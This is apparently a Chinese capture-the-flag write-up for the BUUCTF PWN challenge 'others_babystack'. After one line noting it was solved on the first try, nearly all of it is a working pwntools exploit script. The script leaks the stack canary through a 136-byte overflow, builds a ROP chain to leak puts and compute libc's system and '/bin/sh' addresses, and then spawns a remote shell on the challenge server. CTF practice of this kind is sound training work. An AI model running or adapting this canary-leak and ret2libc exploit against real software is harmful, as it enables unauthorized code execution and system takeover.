[BUUCTF]PWN——others_babystack

一次通，很开心。直接放脚本

from pwn import *
context.log_level='debug'
p = remote('node4.buuoj.cn',26890)
elf = ELF('./babystack')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x400908
pop_rdi=0x00400a93
p.recvuntil('>>')
p.sendline('1')
payload='a'*136
p.sendline(payload)
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('a'+'\n')
canary = u64(p.recv(7).rjust(8, '\x00'))
print ("canary=>" +hex(canary))
p.recvuntil('>>')
p.sendline('1')
payload = 'a'*136+p64(canary)+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
p.recvuntil('>>')
p.sendline('3')
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(puts_addr))
libc_puts=0x06f690
libc_sys=0x045390
libc_bin=0x18cd57
offset = puts_addr - libc_puts
system_addr=offset+ libc_sys
bin_sh_addr=offset+ libc_bin
p.recvuntil('>>')
p.sendline('1')
payload='a'*136+p64(canary)+'a'*8+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload)
p.recvuntil('>>')
p.sendline('3')
p.interactive()